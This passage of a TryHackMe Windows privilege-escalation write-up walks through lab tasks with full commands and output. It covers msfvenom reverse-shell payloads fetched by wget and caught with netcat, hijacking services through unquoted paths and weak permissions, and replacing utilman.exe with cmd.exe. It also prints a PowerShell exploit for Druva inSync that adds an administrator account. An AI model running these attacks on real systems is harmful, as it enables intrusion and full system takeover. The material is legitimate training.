[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of exe-service file: 48640 bytes

Saved as: rev-svc2.exe

root@ip-10-10-76-122:~# python -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Next we open PowerShell and download the malicious executable using wget from our python server, which is just our attack box's IP address at port 8000.

PS C:\Users\thm-unpriv> wget http://10.10.76.122:8000/rev-svc2.exe -O rev-svc2.exe

PS C:\Users\thm-unpriv> dir

Directory: C:\Users\thm-unpriv

Mode	LastWriteTime	Length	Name
d-r---	5/3/2022 3:14 PM		3D Objects
d-r---	5/3/2022 3:14 PM		Contacts
d-r---	5/4/2022 8:15 AM		Desktop
d-r---	5/3/2022 3:14 PM		Documents
d-r---	5/3/2022 3:14 PM		Downloads
d-r---	5/3/2022 3:14 PM		Favorites
d-r---	5/3/2022 3:14 PM		Links
d-r---	5/3/2022 3:14 PM		Music
d-r---	5/3/2022 3:14 PM		Pictures
d-r---	5/3/2022 3:14 PM		Saved Games
d-r---	5/3/2022 3:14 PM		Searches
d-r---	5/3/2022 3:14 PM		Videos
-a----	7/13/2023 4:36 AM	48640	rev-svc2.exe

Now we go back to command prompt and obfuscate the service and move it to the unquoted service path while renaming the file to Disk.exe and finally granting all users full access to the file using the icacles command with the /grant flag.

```
C:\Users\thm-unpriv>move rev-svc2.exe C:\MyPrograms\Disk.exe
1 file(s) moved.
```

```
C:\Users\thm-unpriv>icacls C:\MyPrograms\Disk.exe /grant Everyone:F
processed file: C:\MyPrograms\Disk.exe
Successfully processed 1 files; Failed processing 0 files
```

Next we listen on port 4446, where our process will be executed on.

```
root@ip-10-10-76-122:~# nc -lvp 4446
Listening on [0.0.0.0] (family 0, port 4446)
```

Now we stop and start "disk sorter enterprise" like so:

```
C:\Users\thm-unpriv>sc stop "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\thm-unpriv>sc start "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
```

(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)

SERVICE_EXIT_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT_HINT : 0x7d0

PID : 908

FLAGS :

Now that our reverse shell has spawned we can cap the flag.

C:\Windows\system32>whoami

whoami

wprivesc1\svcusr2

C:\Windows\system32>dir C:\Users\svcusr2\Desktop

dir C:\Users\svcusr2\Desktop

Volume in drive C has no label.

Volume Serial Number is A8A4-C362

Directory of C:\Users\svcusr2\Desktop

05/04/2022 05:18 AM <DIR> .

05/04/2022 05:18 AM <DIR> ..

06/21/2016 03:36 PM 527 EC2 Feedback.website

06/21/2016 03:36 PM   554 EC2 Microsoft Windows Guide.website

05/04/2022 05:18 AM   22 flag.txt

3 File(s)   1,103 bytes

2 Dir(s) 15,042,633,728 bytes free

C:\Windows\system32>type C:\Users\svcusr2\Desktop\flag.txt

type C:\Users\svcusr2\Desktop\flag.txt

THM{QUOTES_EVERYWHERE}

Question 3: Get the flag on the Administrator's desktop.

This exploit involves insecure service permissions. Let's get started.

C:\Users\thm-unpriv>C:\tools\AccessChk\accesschk64.exe -qlc thmservice

Accesschk v6.14 - Reports effective permissions for securable objects

Copyright ⌐ 2006-2021 Mark Russinovich

Sysinternals - www.sysinternals.com

thmservice

DESCRIPTOR FLAGS:

[SE_DACL_PRESENT]

[SE_SACL_PRESENT]

[SE_SELF_RELATIVE]

OWNER: NT AUTHORITY\SYSTEM

[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

SERVICE_PAUSE_CONTINUE

SERVICE_START

SERVICE_STOP

SERVICE_USER_DEFINED_CONTROL

READ_CONTROL

[1] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators

SERVICE_ALL_ACCESS

[2] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\INTERACTIVE

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

SERVICE_USER_DEFINED_CONTROL

READ_CONTROL

[3] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SERVICE

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

SERVICE_USER_DEFINED_CONTROL

READ_CONTROL

[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users

SERVICE_ALL_ACCESS

Once again the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service. Very insecure. At this point we should be familiar with the payload process. Use msfvenom, create python server and might as well start our netcat listener as well.

root@ip-10-10-76-122:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.76.122 LPORT=4447 -f exe-service -o rev-svc3.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of exe-service file: 48640 bytes

Saved as: rev-svc3.exe

root@ip-10-10-76-122:~# python -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

root@ip-10-10-76-122:~# nc -lvp 4447

Listening on [0.0.0.0] (family 0, port 4447)

Next we download the malicious executable from our python server using wget:

PS C:\Users\thm-unpriv> wget http://10.10.76.122:8000/rev-svc3.exe -O rev-svc3.exe

```
PS C:\Users\thm-unpriv> dir


    Directory: C:\Users\thm-unpriv


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         5/3/2022   3:14 PM                3D Objects
d-r---         5/3/2022   3:14 PM                Contacts
d-r---         5/4/2022   8:15 AM                Desktop
d-r---         5/3/2022   3:14 PM                Documents
d-r---         5/3/2022   3:14 PM                Downloads
d-r---         5/3/2022   3:14 PM                Favorites
d-r---         5/3/2022   3:14 PM                Links
d-r---         5/3/2022   3:14 PM                Music
d-r---         5/3/2022   3:14 PM                Pictures
d-r---         5/3/2022   3:14 PM                Saved Games
d-r---         5/3/2022   3:14 PM                Searches
d-r---         5/3/2022   3:14 PM                Videos
-a----         7/13/2023   4:56 AM          48640 rev-svc3.exe
```

Now that our victim box has the malicious executable, we'll once again grant everyone permissions to execute the payload. And ince we can use any account to run the service

we can use the LocalSystem since it is the highest privileged account available. And finally the rest is in restarting the service to attain our reverse shell with SYSTEM privileges.

```
C:\Users\thm-unpriv>icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
processed file: C:\Users\thm-unpriv\rev-svc3.exe
Successfully processed 1 files; Failed processing 0 files

C:\Users\thm-unpriv>sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
[SC] ChangeServiceConfig SUCCESS
C:\Users\thm-unpriv>sc stop thmservice
[SC] ControlService FAILED 1062:

The service has not been started.


C:\Users\thm-unpriv>sc start thmservice

SERVICE_NAME: thmservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE,
ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
```

SERVICE_EXIT_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT_HINT : 0x0

PID : 2576

FLAGS :

Now that our reverse shell has spawned we cap the flag:

C:\Windows\system32>whoami

whoami

nt authority\system

C:\Windows\system32>dir C:\Users\Administrator\Desktop

dir C:\Users\Administrator\Desktop

Volume in drive C has no label.

Volume Serial Number is A8A4-C362

Directory of C:\Users\Administrator\Desktop

05/04/2022 05:18 AM <DIR> .

05/04/2022 05:18 AM <DIR> ..

05/03/2022 01:46 PM 977 Disk Sorter Client.lnk

05/04/2022 05:18 AM 24 flag.txt

05/03/2022 11:57 AM 1,387 ProcessHacker.lnk

3 File(s) 2,388 bytes

2 Dir(s) 15,043,952,640 bytes free

C:\Windows\system32>type C:\Users\Administrator\Desktop\flag.txt

type C:\Users\Administrator\Desktop\flag.txt

THM{INSECURE_SVC_CONFIG}

Task 6: Abusing Dangerous Privileges

This lab does not open a Windows machine unfortunately, so we'll have to use remmina and can be downloaded at the following address: https://installati.one/install-remmina-kalilinux/

Windows Privileges: Each user has a set of assigned privileges that can be checked with the following command:

whoami /priv

A complete list of available privileges on Windows systems is available here: https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

Here is a list of exploitable privileges as well: https://github.com/gtworek/Priv2Admin

Since there's already plenty of information onl the above github page regarding these exploits, we'll dive into one of the three exploits:

1. SeBackup / SeRestore
2. SeTakeOwnership
3. SeImpersonate / SeAssignPrimaryToken

ChatGPT is also a good resource to understanding these in detail and really only requires a copy and paste of the exploit to be utilized effectively by pretty much anyone, so please use your resources.

Question 1: Get the flag on the Administrator's desktop.

So we'll go ahead and start remmina (I'm using my own Kali machine for this one) and RDP into the vulnerable host. Go ahead and accept the certificate, then use whichever user you want. I'll be going over SeTakeOwnership since we already have a writeup doing THMBackup and I want to be able to go over both eventually.

User: THMTakeOwnership

Password: TheWorldIsMine2022

To get the SeTakeOwnership privilege, we need to open command prompt as an administrator. Then we'll check our privileges:

```
C:\Windows\system32>whoami /priv


PRIVILEGES INFORMATION

----------------------


Privilege Name                Description                          State

=============================
========================================== ========

SeTakeOwnershipPrivilege      Take ownership of files or other objects
Disabled

SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
```

We will abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen. Utilman is run with SYSTEM privileges; therefore, we will gain those privileges if we replace the original binary for any payload we like. As we can take ownership of any file,

replacing it is trivial. To replace utilman, we will start by taking ownership of it with the following command:

C:\Windows\system32>takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WPRIVESC2\THMTakeOwnership".

Being owner of the file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe we need to use icacls like so:

C:\Windows\system32>icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

processed file: C:\Windows\System32\Utilman.exe

Successfully processed 1 files; Failed processing 0 files

After this we will replace utilman.exe with a copy of cmd.exe:

C:\Windows\system32>copy cmd.exe utilman.exe

Overwrite utilman.exe? (Yes/No/All): Yes

1 file(s) copied.

To trigger utilman, we will lock our screen from the start button and then click on the ease of access button. Since we replaced utilman with a copy of cmd.exe we can see now that we have a command prompt open with SYSTEM privileges:

C:\Windows\system32>copy cmd.exe utilman.exe

Overwrite utilman.exe? (Yes/No/All): Yes

1 file(s) copied.

This one is definitely a quick and easy win, since we can just type out the flag with this SYSTEM elevated privileges:

THM{SEFLAGPRIVILEGE}

Task 7: Abusing Vulnerable Software

This room expounds on the importance of consistent patch management. Software installed on the target system can presentt various privesc opportunities. As with drivers, organizations and users may not update them as often as they update the OS. You can use the wmic tool to list software installed on the target system and its versions. The following command can dump information related to software installed and its versions:

Username: thm-unpriv

Password: Password321

wmic product get name,version,vendor : This command takes a while to load

Once we get a list of installed software we can use sites like exploit-db, packetstorm, Google, or even ChatGPT.

Now moving on and getting into our vulnerable machine, we will find that we have Druva inSync 6.6.3 installed among a few other perhaps vulnerable software.

C:\Users\thm-unpriv>wmic product get name,version,vendor

Name Vendor Version

Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910 Microsoft Corporation 14.28.29910

AWS Tools for Windows Amazon Web Services Developer Relations 3.15.1248

VNC Server 6.8.0 RealVNC 6.8.0.45849

Amazon SSM Agent Amazon Web Services 3.0.529.0

aws-cfn-bootstrap Amazon Web Services 2.0.5

Druva inSync 6.6.3 Druva Technologies Pte. Ltd. 6.6.3.0

AWS PV Drivers Amazon Web Services 8.3.4

Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910 Microsoft Corporation 14.28.29910

We can find the exploit here: https://www.exploit-db.com/exploits/48505

The software is vulnerable because it runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible from localhost only. If you aren't familiar with RPC, it is simply a mechanism that allows a given process to expose functions (called procedures in RPC lingo) over the network so that other machines can call them remotely.

In the case of Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command gets executed with SYSTEM privileges.

The original vulnerability reported on versions 6.5.0 and prior allowed any command to be run without restrictions. The original idea behind providing such functionality was to remotely execute some specific binaries provided with inSync, rather than any command. Still, no check was made to make sure of that.

A patch was issued, where they decided to check that the executed command started with the string C:\ProgramData\Druva\inSync4\, where the allowed binaries were supposed to be. But then, this proved insufficient since you could simply make a path traversal attack to bypass this kind of control. Suppose that you want to execute C:\Windows\System32\cmd.exe, which is not in the allowed path; you could simply ask

the server to run C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe and that would bypass the check successfully. In this box though we got things easy and the exploit is already in C:\tools - we just have to modify the script so that the added user is also an administrator.

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

This will create user pwnd with a password of SimplePass123 and add it to the administrators' group. However, we can't modify this from the text. We need to do so from Powershell. Here's the code:

```
PS C:\Users\thm-unpriv> $ErrorActionPreference = "Stop"

PS C:\Users\thm-unpriv> $cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

PS C:\Users\thm-unpriv> $s = New-Object System.Net.Sockets.Socket(
>>  [System.Net.Sockets.AddressFamily]::InterNetwork,
>>  [System.Net.Sockets.SocketType]::Stream,
>>  [System.Net.Sockets.ProtocolType]::Tcp
>> )

PS C:\Users\thm-unpriv> $s.Connect("127.0.0.1", 6064)

PS C:\Users\thm-unpriv> $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")

PS C:\Users\thm-unpriv> $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")

PS C:\Users\thm-unpriv> $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");

PS C:\Users\thm-unpriv> $length = [System.BitConverter]::GetBytes($command.Length);
```

```
PS C:\Users\thm-unpriv> $s.Send($header)

22

PS C:\Users\thm-unpriv> $s.Send($rpcType)

4

PS C:\Users\thm-unpriv> $s.Send($length)

4

PS C:\Users\thm-unpriv> $s.Send($command)

280
```

I wound up an attackbox for this one, since I couldn't get freerdp to open it in my kali machine. I would recommend the same. We can also verify the user pwnd was created like so:

```
C:\Users\thm-unpriv>net user pwnd

User name                    pwnd

Full Name

Comment

User's comment

Country/region code          000 (System Default)

Account active               Yes

Account expires              Never


Password last set            7/13/2023 4:23:33 PM

Password expires             8/24/2023 4:23:33 PM

Password changeable          7/13/2023 4:23:33 PM
```

Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Users

Global Group memberships *None

The command completed successfully.

Now that we are in an attackbox let's RDP into our new user and open command prompt as admin.

root@ip-10-10-56-52:~# xfreerdp /v:10.10.222.16 /u:pwnd /p:SimplePass123

connected to 10.10.222.16:3389

@@

@ WARNING: CERTIFICATE NAME MISMATCH! @

@@@

The hostname used for this connection (10.10.222.16)

does not match the name given in the certificate:

Common Name (CN):

WPRIVESC3

A valid certificate for the wrong name should NOT be trusted!

Certificate details:

Subject: CN = WPRIVESC3

Issuer: CN = WPRIVESC3

Thumbprint: ff:cd:15:cd:8a:e2:8b:34:35:3d:f4:bd:e1:86:59:60:cf:82:60:af

The above X.509 certificate could not be verified, possibly because you do not have the CA certificate in your certificate store, or the certificate has expired. Please look at the documentation on how to create local certificate store for a private CA.

Do you trust the above certificate? (Y/N) Y

From here it's as simple as typing out the flag at C:\Users\Administrator\Desktop\flag.txt:

THM{EZ_DLL_PROXY_4ME}

Task 8: Tools of the Trade

Several scripts exist to conduct system enumeration in ways similar to the ones seen in the previous task. These tools can shorten the enumeration process time and uncover different potential privilege escalation vectors. However, please remember that automated tools can sometimes miss privilege escalation.

Below are a few tools commonly used to identify privilege escalation vectors. Feel free to run them against any of the machines in this room and see if the results match the discussed attack vectors.

WinPEAS

WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. You can find more information about winPEAS and download either the precompiled executable or a .bat script. WinPEAS will run commands similar to the ones listed in the previous task and print their output. The output from winPEAS can be lengthy and sometimes difficult to read. This is why it would be good practice to always redirect the output to a file, as shown below:

Command Prompt

```
C:\> winpeas.exe > outputfile.txt
```

WinPEAS can be downloaded here.

PrivescCheck

PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. It provides an alternative to WinPEAS without requiring the execution of a binary file.

PrivescCheck can be downloaded here.

Reminder: To run PrivescCheck on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can use the Set-ExecutionPolicy cmdlet as shown below.

Powershell

```
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force

PS C:\> . .\PrivescCheck.ps1

PS C:\> Invoke-PrivescCheck
```

WES-NG: Windows Exploit Suggester - Next Generation

Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine (e.g. Kali or TryHackMe AttackBox).

WES-NG is a Python script that can be found and downloaded here.

Once installed, and before using it, type the wes.py --update command to update the database. The script will refer to the database it creates to check for missing patches that can result in a vulnerability you can use to elevate your privileges on the target system.

To use the script, you will need to run the systeminfo command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.

Once this is done, wes.py can be run as follows;

Kali Linux

user@kali$ wes.py systeminfo.txt

Metasploit

If you already have a Meterpreter shell on the target system, you can use the multi/recon/local_exploit_suggester module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.

Task 9: Conclusion

More study resources:

PayloadsAllTheThings - Windows Privilege Escalation : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Priv2Admin - Abusing Windows Privileges : https://github.com/gtworek/Priv2Admin

RogueWinRM Exploit : https://github.com/antonioCoco/RogueWinRM

Potatoes : https://jlajara.gitlab.io/Potatoes_Windows_Privesc

Decoder's Blog : https://decoder.cloud/

Token Kidnapping :
https://dl.packetstormsecurity.net/papers/presentations/TokenKidnapping.pdf

Hacktricks - Windows Local Privilege Escalation :
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation

Thank you Tryhackme for providing this room and remember this is only one small fraction of Windows PrivEsc. Keep up to date and learn how hackers are improving every day!